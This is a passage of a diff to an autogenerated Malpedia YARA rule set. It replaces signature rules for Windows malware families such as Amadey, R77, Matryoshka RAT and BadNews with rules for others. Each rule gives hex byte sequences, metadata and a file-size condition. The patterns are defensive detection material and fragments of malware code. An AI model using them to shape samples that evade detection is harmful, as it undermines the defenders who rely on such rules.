strings: - $sequence_0 = { 488bcf e8???????? e9???????? 3d4c494b50 7515 488d4c2430 4c8bc7 } - $sequence_1 = { 488b4d07 4885c9 7406 ff15???????? 4183fd04 7512 488d1560960200 } - $sequence_2 = { 418bc0 c1e808 0fb6c8 418b848a20de0800 250000ff00 33d0 } - $sequence_3 = { 8944246c 8bf8 ff15???????? 488bd8 4885c0 0f847e010000 8d4e40 } - $sequence_4 = { 410fb6c5 45338487000c0000 4433460c 418bc0 c1e810 0fb6d0 418bc1 } - $sequence_5 = { 0f47d0 8915???????? 488d0d42130900 e8???????? 4c8b6c2468 4c8b642470 488bac24a0000000 } - $sequence_6 = { 7439 4883c420 5b c3 488d91d0000000 41b840000000 e8???????? } - $sequence_7 = { 4885ff 7406 89aee4000000 4885db 7406 89aee0000000 33c0 } - $sequence_8 = { 488d542440 4c8bc3 488bc8 488bf8 c744244000000400 e8???????? 33ed } - $sequence_9 = { 488bd3 488bcf e8???????? 85c0 78ba 8b03 803c3805 } - - condition: - 7 of them and filesize < 1555456 -} -rule MALPEDIA_Win_Unidentified_073_Auto : FILE -{ - meta: - description = "autogenerated rule brought to you by yara-signator" - author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0ba61f73-e46a-5f54-853f-f1f3b502ee26" - date = "2022-08-05" - modified = "2022-08-08" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_073" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_073_auto.yar#L1-L125" - license_url = "N/A" - logic_hash = "8100472ca712d569bbcdb570af72e3f13986092b4d8ee8e3873da55bef76232d" - score = 75 - quality = 75 - tags = "FILE" - version = "1" - tool = "yara-signator v0.6.0" - signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20220805" - malpedia_hash = "6ec06c64bcfdbeda64eff021c766b4ce34542b71" - malpedia_version = "20220808" - malpedia_license = "CC BY-SA 4.0" - malpedia_sharing = "TLP:WHITE" - - strings: - $sequence_0 = { 8d8538ffffff 6a00 c746180f000000 8bce } - $sequence_1 = { c684242801000019 e8???????? 68???????? 8d8c24c0000000 e8???????? 6aff } - $sequence_2 = { 8bce c7461400000000 50 c6460400 e8???????? 83ec1c 8bf4 } - $sequence_3 = { 7846 8b451c 8b0e 2bc1 3bc3 7c53 } - $sequence_4 = { 8b0d???????? 894df8 eb09 8b55f8 83ea01 8955f8 837df800 } - $sequence_5 = { 6a00 8d8424dc000000 50 8d4c2454 e8???????? 83ec1c 8d84240c010000 } - $sequence_6 = { 8bec 51 894dfc c705????????90664a00 833d????????00 741c } - $sequence_7 = { 6bd103 8982a0784a00 68???????? 8b45fc 50 ff15???????? } - $sequence_8 = { 0fb74df8 894de0 668b55e0 668955f8 0fb745fc 0fb74df8 3bc1 } - $sequence_9 = { 57 6aff 68???????? 50 ff15???????? } + $sequence_0 = { 8a4f06 0bc2 33d2 8b742414 8a7704 8a5705 c1e208 } + $sequence_1 = { 0f859ffdffff 8b8538010000 3bc3 741d 83f801 7418 899de8010000 } + $sequence_2 = { 8b6c2424 898760020000 8b442420 896e58 8b6c242c 896e68 89861c010000 } + $sequence_3 = { 8bd0 0bd3 0f8419010000 33c9 8bd3 894c2420 894c2424 } + $sequence_4 = { b926020000 33c0 8bfe f3ab 8dbe10020000 57 e8???????? } + $sequence_5 = { 8b542418 51 57 52 ff15???????? 85c0 7508 } + $sequence_6 = { 8d4c2414 56 33ed 8b38 895c244c 894c2414 e8???????? } + $sequence_7 = { 897c2418 89bc3490000000 8b7c241c 8bf7 8bdf c1e615 c1eb0b } + $sequence_8 = { 8b7e34 3bfb 7436 8b4760 3bc3 740f 50 } + $sequence_9 = { 8beb 8aa760954700 33e8 c1e508 33c0 33db 8a442411 } condition: - 7 of them and filesize < 1974272 + 7 of them and filesize < 1867776 } -rule MALPEDIA_Win_Unidentified_077_Auto : FILE +rule MALPEDIA_Win_Ghostemperor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c6846d21-78e4-583b-8f44-246681283285" + id = "eb9bf224-db51-5bdd-bed6-58106efc8832" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_077" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_077_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostemperor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ghostemperor_auto.yar#L1-L226" license_url = "N/A" - logic_hash = "ae8dcec1ad8cfc6899d8fdf0b1cf7ff7e070518ed02c06d0a8c7c2869d228f4f" + logic_hash = "7df60cceb98a60fe2e2f53ccef69a2b508e5a3019ab430e008473c427496d31f" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -85188,32 +85128,46 @@ rule MALPEDIA_Win_Unidentified_077_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d4210 83c220 f30f6f0418 660fefc1 f30f7f0418 413bd1 } - $sequence_1 = { 48894640 488d05a1fcffff 48894648 8b442424 } - $sequence_2 = { 4933f8 4a87bcf1a0bf0100 33c0 488b5c2450 488b6c2458 488b742460 } - $sequence_3 = { 4c8d442470 897c2470 488d542468 897c2468 488bcb e8???????? 85c0 } - $sequence_4 = { 498bc6 4823cb 4823c3 483bc1 7354 6690 b910000000 } - $sequence_5 = { e8???????? 85c0 0f85c6000000 448b442468 } - $sequence_6 = { 488b8dd00c0000 4833cc e8???????? 4881c4f80d0000 415f 415d 415c } - $sequence_7 = { 33c0 488bb424a0000000 4c8bb424a8000000 488bac2498000000 4c8b7c2460 488b4c2450 } - $sequence_8 = { 751b ff15???????? 488bce 418907 } - $sequence_9 = { 488d0592fcffff 48894630 488d0597fcffff 48894638 488d059cfcffff 48894640 } + $sequence_0 = { c7464800000000 488d4e18 ff15???????? 488b4e40 } + $sequence_1 = { 89d5 4889ce b920000000 e8???????? 4889c7 0f57c0 0f2900 } + $sequence_2 = { 4885c9 7443 4889ce ff15???????? } + $sequence_3 = { 4883c601 4883c2f8 39f1 75ec 4929d1 } + $sequence_4 = { 4883ec28 ff15???????? 488d542424 89c1 ff15???????? 85c0 7406 } + $sequence_5 = { 418d42ff 4c8d5801 4983fb04 7222 488d3cc2 4883c708 } + $sequence_6 = { 4839cf 0f86fb000000 488d04c1 4883c008 } + $sequence_7 = { 488d5108 e8???????? 8b4648 85c0 746e } + $sequence_8 = { 49895d38 41897530 eb18 418b07 85c0 7411 4c03f8 } + $sequence_9 = { 01c3 69cbe8030000 81c130750000 4883ec20 } + $sequence_10 = { 01c1 89ca c1ea1f c1f904 } + $sequence_11 = { 488364c60800 488b05???????? 8a5008 488d4810 ff15???????? } + $sequence_12 = { 41391e 0f84fc010000 418b06 85c0 745d 448b4540 } + $sequence_13 = { 052797fa04 351337a665 8945f4 488b4510 } + $sequence_14 = { 4154 4156 488d6898 4881ec50010000 4533f6 4c8d257b390000 488bd9 } + $sequence_15 = { 05f226dac9 35bcfe1eea 894534 488b4550 } + $sequence_16 = { c745505f007300 c74554ee005200 0f1185c8030000 c74558ec005600 c7455c05008500 0f104d50 } + $sequence_17 = { 00c2 488b8568020000 8854080c 488b85b0020000 } + $sequence_18 = { 488bcf 2b542428 83c207 e8???????? 85c0 } + $sequence_19 = { 0552f0384d 358e257f87 894530 488b4570 } + $sequence_20 = { 01d1 89ca c1e205 89cb } + $sequence_21 = { 3d040000c0 7567 8b542450 33c9 ff15???????? 488bf8 } + $sequence_22 = { 00c1 488b8568020000 488b95b0020000 884c100c } + $sequence_23 = { 33c0 488b6c2438 488b742440 48894f38 } condition: - 7 of them and filesize < 270336 + 7 of them and filesize < 1115136 } -rule MALPEDIA_Win_Ntospy_Auto : FILE +rule MALPEDIA_Win_Unidentified_107_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8131d4ba-7ab9-5f25-bfe1-80fb81c429a4" + id = "63234ec8-e935-5a5a-a7c8-23180ee85d34" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ntospy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ntospy_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_107" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_107_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "8fbd4c5ffc79f2d95a93b5deb7321b5b82d08f35463db086df64bd3e92a52647" + logic_hash = "8867f317de2ddfffcab36cc6ed6aa7b70e1fee92a8d78957e157f26440f20f17" score = 75 quality = 75 tags = "FILE" @@ -85227,32 +85181,32 @@ rule MALPEDIA_Win_Ntospy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 5f c3 48897c2408 488d3dacf90000 } - $sequence_1 = { eb74 85c9 7858 3b15???????? 7350 488bca 4c8d05e5b40000 } - $sequence_2 = { 8bfa 4c8d0d5d740000 488bd9 488d1553740000 b916000000 4c8d053f740000 e8???????? } - $sequence_3 = { b808000000 486bc000 488d0deaad0000 48c7040102000000 b808000000 } - $sequence_4 = { 48890d???????? 488d0512f50000 488d0d3bf70000 488905???????? 48890d???????? e8???????? } - $sequence_5 = { 4c8d0578760000 488d15016d0000 e8???????? 4885c0 740f 488bcb } - $sequence_6 = { f20f1000 8b5808 e9???????? 488d05dfc70000 4a8b0ce8 } - $sequence_7 = { 488d0d4c710000 8364242800 41b803000000 4533c9 } - $sequence_8 = { c3 4883ec28 e8???????? 488bc8 488d1501040100 } - $sequence_9 = { 4533f6 4863ce 488d3d20f90000 488bc1 } + $sequence_0 = { 7582 4989d8 31d2 4c89e9 e8???????? 4989d8 } + $sequence_1 = { 0f1f00 8b0b ffd7 4989c4 } + $sequence_2 = { 4989c7 48c7c13b43f72a e8???????? 4883c464 488b4c2408 488b542410 4c8b442418 } + $sequence_3 = { 4883f807 7e96 8b13 4883f80b 0f8f33010000 8b03 85c0 } + $sequence_4 = { 4989cc 85db 0f8e16010000 488b05???????? 4531c9 4883c018 } + $sequence_5 = { 48b9ca0e99c700000000 e8???????? 4989c7 48b9ca0e99c700000000 e8???????? } + $sequence_6 = { 8b5208 4901d0 4d39c4 0f828a000000 4183c101 4883c028 4139d9 } + $sequence_7 = { e8???????? 8b05???????? 85c0 0f8e57ffffff 83e801 488b1d???????? 31ff } + $sequence_8 = { 85db 0f8e16010000 488b05???????? 4531c9 4883c018 0f1f840000000000 } + $sequence_9 = { 8b560c 41b830000000 488d0c10 488b05???????? } condition: - 7 of them and filesize < 208896 + 7 of them and filesize < 254976 } -rule MALPEDIA_Win_Zupdax_Auto : FILE +rule MALPEDIA_Win_Maudi_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "de5aa4fa-5f17-5443-8ded-540bc4f1be04" + id = "1d89cb82-59a5-5a2e-ac6c-c7d75443bace" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zupdax" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zupdax_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.maudi" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.maudi_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "eb046345ff3af30eb975f6808cc5770691e59266f20f528282b1aa4111a1c56b" + logic_hash = "d20863b5f36f8cd108ded6d29f5c3bed96160b9b4abc34b0d10161e337344d4d" score = 75 quality = 75 tags = "FILE" @@ -85266,32 +85220,32 @@ rule MALPEDIA_Win_Zupdax_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 83c408 8b06 50 895e0c 895e10 } - $sequence_1 = { 8b4c2408 8b7e28 51 e8???????? 8b5624 52 e8???????? } - $sequence_2 = { 56 57 33c9 33f6 33ff 394c2414 } - $sequence_3 = { 7522 e8???????? 8b0d???????? 51 8b0d???????? } - $sequence_4 = { e8???????? 83c408 8b4618 50 895e24 } - $sequence_5 = { 51 e8???????? 83c418 8bc6 c3 } - $sequence_6 = { 895e2c e8???????? 8b460c 83c404 3bc3 } - $sequence_7 = { 52 e8???????? 83c408 8b06 50 895e0c 895e10 } - $sequence_8 = { 3bc3 7419 8b4c2408 8b7e28 51 } - $sequence_9 = { 8d4618 6a00 50 c706ffffffff } + $sequence_0 = { 61 6886180000 59 80740fff36 e2f9 } + $sequence_1 = { 5d bf???????? 6a40 6800100000 6886180000 6a00 } + $sequence_2 = { 89e5 5d 8b80a4000000 83f806 7546 } + $sequence_3 = { 52 68???????? 87d1 87ca 51 } + $sequence_4 = { 55 89e5 5d 8b80a4000000 83f806 7546 } + $sequence_5 = { 6804010000 56 68???????? 87d1 } + $sequence_6 = { 89e5 81ec04010000 56 55 89e5 5d 89e6 } + $sequence_7 = { ff25???????? 83c418 6a00 57 56 68???????? 87d1 } + $sequence_8 = { 59 59 ff25???????? 68???????? 87d1 87ca } + $sequence_9 = { 59 e9???????? 55 89e5 5d bf???????? 6a40 } condition: - 7 of them and filesize < 1032192 + 7 of them and filesize < 40960 } -rule MALPEDIA_Win_Forest_Tiger_Auto : FILE +rule MALPEDIA_Win_Scieron_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3353c633-78cc-57c2-86be-460e3ac718ff" + id = "33fc8152-5e48-52c8-ac9b-34f4ee2aaa91" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.forest_tiger" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.forest_tiger_auto.yar#L1-L145" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scieron" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.scieron_auto.yar#L1-L116" license_url = "N/A" - logic_hash = "fd0aad246be00ca230351bf440cc00646056cfe6bce27189395062caee48cc7c" + logic_hash = "dfba23a630ecd443346ae8a23831b1a493de37d653bee925abed5860ba8acc68" score = 75 quality = 75 tags = "FILE" @@ -85305,39 +85259,34 @@ rule MALPEDIA_Win_Forest_Tiger_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 833f01 0f94c0 84c0 7407 e8???????? eb05 e8???????? } - $sequence_1 = { 6bc930 8975e0 8db1c0084400 8975e4 } - $sequence_2 = { 4c8b4608 498bc0 488b4c2478 482bc1 } - $sequence_3 = { 6bc00c 56 ff90f0664300 59 } - $sequence_4 = { 4c8b4608 488b542478 4c2bc2 4983e0fc } - $sequence_5 = { 4c8b45c8 4c8b4dc0 f30f7f45d0 4c3955d0 } - $sequence_6 = { 6bc009 0fb68408c0724300 6a08 c1e804 } - $sequence_7 = { 4c8b4710 488bd7 488bcb 49ffc0 e8???????? eb0a } - $sequence_8 = { 4c8b45bf 488d1521350200 448bcb 488bc8 } - $sequence_9 = { 6aff ff15???????? 894604 85c0 7429 } - $sequence_10 = { 4c8b45ff 8b55db 488b4dcf e8???????? } - $sequence_11 = { 6aff 8d8df4fdffff 51 52 } - $sequence_12 = { 4c8b4750 488b33 448b7308 448b6f30 } - $sequence_13 = { 6aff 8d8dc8f4ffff 6880000000 51 } - $sequence_14 = { 6aff 8d942498010000 6880000000 52 } + $sequence_0 = { ffd0 85ff 7411 833d????????00 } + $sequence_1 = { 8b442424 33ff 217c241c 0144241c ff442410 6a10 58 } + $sequence_2 = { 57 eb6b 8b7c2410 3bfd } + $sequence_3 = { ffb614400010 83c718 ffb618400010 8d443c30 50 } + $sequence_4 = { c9 c3 55 8bec 51 e8???????? e8???????? } + $sequence_5 = { 7542 50 50 0fb78604020000 } + $sequence_6 = { ffd7 ffd0 6a04 8d442414 } + $sequence_7 = { e9???????? 81ec8c020000 53 8b1d???????? 55 33c0 57 } + $sequence_8 = { 8d85d8fdffff 50 ffd6 85c0 7409 } + $sequence_9 = { 53 6a40 ffd7 85c0 7414 } condition: - 7 of them and filesize < 709632 + 7 of them and filesize < 100352 } -rule MALPEDIA_Win_R77_Auto : FILE +rule MALPEDIA_Win_Badnews_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b79f20de-193b-5b74-8687-5e00cdb0b22f" + id = "669fd264-b6d6-5d6c-8250-2eaeef7607f8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.r77" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.r77_auto.yar#L1-L158" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.badnews" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.badnews_auto.yar#L1-L205" license_url = "N/A" - logic_hash = "ee9f3e01cb496a017b30e9f636bd55f0ca4c077d0d62d251be75c67533f23dc5" + logic_hash = "70dca6886c221c9bfe5fe7481db4825e4f99d418a6f0f0b45196e36a94b37f92" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -85349,38 +85298,45 @@ rule MALPEDIA_Win_R77_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 740c 8b4f0c e8???????? 85c0 } - $sequence_1 = { 740b 8b0f e8???????? 85c0 } - $sequence_2 = { bafeff0000 6623c2 6683f806 721a 41b803000000 } - $sequence_3 = { c1e202 8b4508 0fb60c10 83f91f 757d } - $sequence_4 = { 0f8595010000 c745e4f8630110 e9???????? 894de0 c745e4f8630110 e9???????? } - $sequence_5 = { ba01000000 c1e200 8b4508 0fb60c10 81f990000000 750a } - $sequence_6 = { c745fc???????? eb07 c745fc???????? 8b4dfc 894df8 8b5510 } - $sequence_7 = { 83e03f c1eb06 6bf838 8b049df8a00110 f644072801 7444 837c0718ff } - $sequence_8 = { b801000000 d1e0 8b4d08 0fb61401 85d2 750a } - $sequence_9 = { 488d157ad40000 e8???????? 8bcb 4885c0 740c 4883c420 } - $sequence_10 = { ff15???????? 4889442450 488bd8 48897c2458 8d7d01 4885f6 } - $sequence_11 = { c3 4883ec38 488d05f5d50100 4889442428 488b05???????? 4889442420 48837c242000 } - $sequence_12 = { 488b4c2440 e8???????? eb55 4c8b4c2458 4c8b442450 488d15f3010200 488b4c2440 } - $sequence_13 = { 4885db 7436 488b0d???????? 4885c9 7410 488b4910 488bd3 } + $sequence_0 = { ff15???????? 50 e8???????? 83c404 68???????? 6804010000 } + $sequence_1 = { c0e004 02c1 3423 c0c003 } + $sequence_2 = { c78534ffffff47657457 c78538ffffff696e646f c7853cffffff77546578 66c78540ffffff7457 } + $sequence_3 = { c705????????33322e64 66c705????????6c6c c605????????00 ff15???????? } + $sequence_4 = { a1???????? 33c5 8945fc 53 56 57 8d8534ffffff } + $sequence_5 = { eb02 33c9 c0e004 02c1 } + $sequence_6 = { 55 8bec 8b450c 3d01020000 } + $sequence_7 = { 68???????? 6a1a 68???????? 57 } + $sequence_8 = { 6a00 d1f9 68???????? 03c9 } + $sequence_9 = { 57 6a00 6880000000 6a04 6a00 6a01 6a04 } + $sequence_10 = { ffd3 85c0 7403 83c608 8a06 } + $sequence_11 = { ff15???????? 85c0 7405 83c004 } + $sequence_12 = { 68???????? ff15???????? b8???????? 83c424 8d5002 668b08 } + $sequence_13 = { 41 84c0 75f9 2bce 3bd1 72e4 } + $sequence_14 = { 8bc7 c1f805 83e71f c1e706 8b0485d0a70110 } + $sequence_15 = { 4b 75da 8b35???????? 8b9d50fbffff } + $sequence_16 = { 8bce 83e11f c1e106 8b0485d0a70110 c644080401 56 e8???????? } + $sequence_17 = { 6a03 8802 42 8b048dd0a70110 4e 5f 6a0a } + $sequence_18 = { c1e106 899528e5ffff 53 8b1495d0a70110 } + $sequence_19 = { 84c0 75f9 2bce 741c 804415ec03 8d4dec 42 } + $sequence_20 = { c7465c00350110 83660800 33ff 47 897e14 } condition: - 7 of them and filesize < 350208 + 7 of them and filesize < 612352 } -rule MALPEDIA_Win_Amadey_Auto : FILE +rule MALPEDIA_Win_Matryoshka_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1f098ad5-f3e6-509c-99f1-f0cffd69c9f4" + id = "e67f9b00-164c-59e2-9dc8-5dd2e0d5203f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.amadey_auto.yar#L1-L210" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.matryoshka_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.matryoshka_rat_auto.yar#L1-L142" license_url = "N/A" - logic_hash = "fb6578b6e50d377be8fb88ae4d5eeeb58ec3e463dc3822773f271e1c55398ad5" + logic_hash = "e984417b389a4155a102710aa04d6d8dad2d1f007db82c883ebc84c4c1b44825" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -85392,43 +85348,36 @@ rule MALPEDIA_Win_Amadey_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 5b 8be5 5d c3 5f c6040e00 8bc6 } - $sequence_1 = { 57 ff15???????? 85c0 75d9 bb01000000 } - $sequence_2 = { 68???????? eb42 e8???????? 83f801 7431 e8???????? } - $sequence_3 = { 83ec18 8bcc 68???????? e8???????? 8d4db4 } - $sequence_4 = { 8a0402 88040f 41 8b7dfc 8d4201 } - $sequence_5 = { 68???????? e8???????? 8d4dcc e8???????? 83c418 } - $sequence_6 = { 0f434d20 40 50 52 6a02 6a00 51 } - $sequence_7 = { 83f811 7413 e8???????? 83f812 7409 6a01 68???????? } - $sequence_8 = { 68???????? e8???????? 8d4d98 e8???????? 83c418 } - $sequence_9 = { 8b8d78feffff 42 8bc1 81fa00100000 7214 } - $sequence_10 = { 83fa10 722f 8b8d78feffff 42 } - $sequence_11 = { 8b85f49fffff 40 89442404 8d85f8bfffff 890424 e8???????? } - $sequence_12 = { 8d55c8 89442404 891424 e8???????? 85c0 7523 } - $sequence_13 = { c745fc05000000 c70424???????? e8???????? 890424 e8???????? 84c0 } - $sequence_14 = { 8d85d8fdffff 890424 e8???????? e8???????? 89442404 } - $sequence_15 = { 89e5 b828200000 e8???????? 817d08???????? 0f84be000000 } - $sequence_16 = { e8???????? 8b45dc 890424 e8???????? 83ec04 } - $sequence_17 = { c745fc0c000000 8b45fc c9 c3 } - $sequence_18 = { 55 89e5 81ec48040000 e8???????? 89c2 c744241c00020000 8d85f8fbffff } - $sequence_19 = { 56 57 8b3d???????? 83ec18 } - $sequence_20 = { 722f 8b8d60feffff 42 8bc1 } + $sequence_0 = { b037 c3 b073 c3 } + $sequence_1 = { c3 b06f c3 b063 c3 } + $sequence_2 = { 8b46fc 8947fc 49 75ed } + $sequence_3 = { 750a 488bcb e8???????? eb0f 488bd3 488d0df7520400 } + $sequence_4 = { 7509 bb99ffffff 85db 740d 488bcf } + $sequence_5 = { 8b4648 48 48 7446 48 } + $sequence_6 = { 750a 4883c310 0fba2f11 eb27 41b807000000 488d152bb50200 } + $sequence_7 = { 8b4704 8b3491 890491 8bd6 } + $sequence_8 = { 750a 443b774c 8d4399 0f45d8 450137 } + $sequence_9 = { 750a 4883c30a 0fba2f12 eb4a 41b808000000 488d153eb50200 } + $sequence_10 = { 8b4704 8bf1 33d1 81e6ff030000 } + $sequence_11 = { 8b4660 89471c 8d4670 894724 } + $sequence_12 = { 8b4664 034668 8b4e60 03ca } + $sequence_13 = { 7509 c7412400000002 eb4c 48394130 } condition: - 7 of them and filesize < 908288 + 7 of them and filesize < 843776 } -rule MALPEDIA_Win_Chainshot_Auto : FILE +rule MALPEDIA_Win_Jaff_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c772e981-fe05-5ad7-89cb-7e4d2195fea3" + id = "e0c41ef8-0a92-555f-b34f-5db2f4589c45" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chainshot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chainshot_auto.yar#L1-L115" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jaff" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jaff_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "d57daacb16b1510f9da9be332e06c34916e951db79264a72675c1b37600885e5" + logic_hash = "6a4dc9720f78e5a6e283d3b622047ad1fb4dc38cefeb255d404c0bdb257eb37c" score = 75 quality = 75 tags = "FILE" @@ -85442,32 +85391,32 @@ rule MALPEDIA_Win_Chainshot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ffc9 7433 ffc9 7438 ffc9 742b ffc9 } - $sequence_1 = { 7427 83e803 0f844a110000 83f802 0f857b0f0000 } - $sequence_2 = { 7708 7519 66892c5e eb13 66892c5e bf7a000780 eb08 } - $sequence_3 = { eb23 8b4520 8906 eb1c b90b000080 eb05 } - $sequence_4 = { 83c705 c7041f4c8b4424 c6441f0418 83c705 c7041f4c8b4c24 } - $sequence_5 = { e8???????? 89442420 85c0 7826 } - $sequence_6 = { ffd0 8905???????? b90b000080 894c2420 e9???????? } - $sequence_7 = { 747a ffc8 7461 83e802 } - $sequence_8 = { 7408 ffd1 8905???????? b84b000080 } - $sequence_9 = { 0f8599000000 c705????????0b000000 e9???????? b902000000 } + $sequence_0 = { 395604 760b 8b36 0fb73456 8975f4 } + $sequence_1 = { 8b55c8 33c0 8bca 85d2 7419 8b75c4 66833c4600 } + $sequence_2 = { 8b4de0 8b3d???????? 51 6a00 ffd7 50 } + $sequence_3 = { 668b144a 66891448 41 3b4e04 72f0 8b4e04 } + $sequence_4 = { ffd7 50 ffd3 8b7d0c 8b4f04 } + $sequence_5 = { 50 6a00 ffd7 50 ff15???????? 5f 8bc6 } + $sequence_6 = { 56 8945f8 ffd3 8945fc 83f808 7705 } + $sequence_7 = { 41 3b4df8 76a8 8b4d08 80790c00 740d 8b5510 } + $sequence_8 = { 8b4ddc 8b3d???????? 51 6a00 ffd7 50 ffd3 } + $sequence_9 = { 0fb70448 eb02 33c0 0fbff0 2b45f4 0fbffa 03f7 } condition: - 7 of them and filesize < 802816 + 7 of them and filesize < 106496 } -rule MALPEDIA_Win_Rombertik_Auto : FILE +rule MALPEDIA_Win_Mebromi_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "fd5d6ec1-b599-5122-939f-30fe62c6e74a" + id = "3d64e85a-906f-5ddb-9f75-04eb426f7ebc" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rombertik" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rombertik_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mebromi" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mebromi_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "1bd4f27874587acc7747c5d4ae5b510eeb7a9ee716658437468f5342433983ca" + logic_hash = "051f5b8119e90ef14be758def00ef62b697ce727969ed9523ac57414d0773faf" score = 75 quality = 75 tags = "FILE" @@ -85481,32 +85430,32 @@ rule MALPEDIA_Win_Rombertik_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 68???????? 56 ff15???????? 85c0 7559 8b5e10 33ff } - $sequence_1 = { 40 49 75f9 8955f8 85d2 } - $sequence_2 = { 0f94c0 84c0 750d 47 3b7d0c 72c9 } - $sequence_3 = { 47 41 3bfb 72be 8b5df0 } - $sequence_4 = { 85c0 7426 8d95f8feffff 52 } - $sequence_5 = { 8d4de4 51 8955e8 8b55fc 6a00 52 } - $sequence_6 = { 8bec 81ec3c030000 53 56 57 bf00010000 } - $sequence_7 = { 8d8ddcfdffff 8bf0 51 56 } - $sequence_8 = { 68???????? 50 56 e8???????? 83c414 a3???????? } - $sequence_9 = { 81c900ffffff 41 8a9c0d00ffffff 889c0500ffffff } + $sequence_0 = { 5f eb26 8d4508 8db694702900 6a00 } + $sequence_1 = { b82c2900d8 2c29 0000 2d29008a46 0323 } + $sequence_2 = { 8bec 8b4508 ff348520712900 ff15???????? } + $sequence_3 = { eb0f 0fb6d2 f68201a0290004 7403 } + $sequence_4 = { 56 ffd7 3bdd 5b } + $sequence_5 = { 68000000c0 68???????? ff15???????? 8b3d???????? 83f8ff a3???????? 7544 } + 